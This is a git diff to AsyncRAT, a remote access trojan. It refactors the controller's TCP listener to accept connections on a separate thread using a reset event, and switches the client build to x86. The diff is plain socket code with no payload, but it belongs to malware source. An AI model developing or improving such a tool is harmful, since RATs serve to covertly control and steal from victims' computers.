diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index de8e244..916d411 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -5,6 +5,7 @@ using AsyncRAT_Sharp.Sockets; using System.Threading.Tasks; using Microsoft.VisualBasic; using System.Linq; +using System.Threading; // │ Author : NYAN CAT // │ Name : AsyncRAT // Simple Socket @@ -25,7 +26,8 @@ namespace AsyncRAT_Sharp async private void Form1_Load(object sender, EventArgs e) { Listener listener = new Listener(); - listener.Connect(Settings.Port); + Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); + thread.Start(Settings.Port); while (true) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 3311aaf..cdff8f7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -10,24 +10,26 @@ namespace AsyncRAT_Sharp.Sockets class Listener { public Socket listener { get; set; } + public static ManualResetEvent allDone = new ManualResetEvent(false); - public async void Connect(int port) + public void Connect(object port) { try { listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, port); + IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port)); listener.SendBufferSize = 50 * 1024; listener.ReceiveBufferSize = 50 * 1024; listener.ReceiveTimeout = -1; listener.SendTimeout = -1; listener.Bind(IpEndPoint); - listener.Listen(50); + listener.Listen(20); while (true) { - await Task.Delay(1); + allDone.Reset(); listener.BeginAccept(EndAccept, null); + allDone.WaitOne(); } } catch (Exception ex) @@ -44,8 +46,9 @@ namespace AsyncRAT_Sharp.Sockets Clients CL = new Clients(); CL.InitializeClient(listener.EndAccept(ar)); } - catch - { } + catch { } + + finally { allDone.Set(); } } } } diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 6364612..245e96e 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -13,7 +13,7 @@ true - AnyCPU + x86 true full false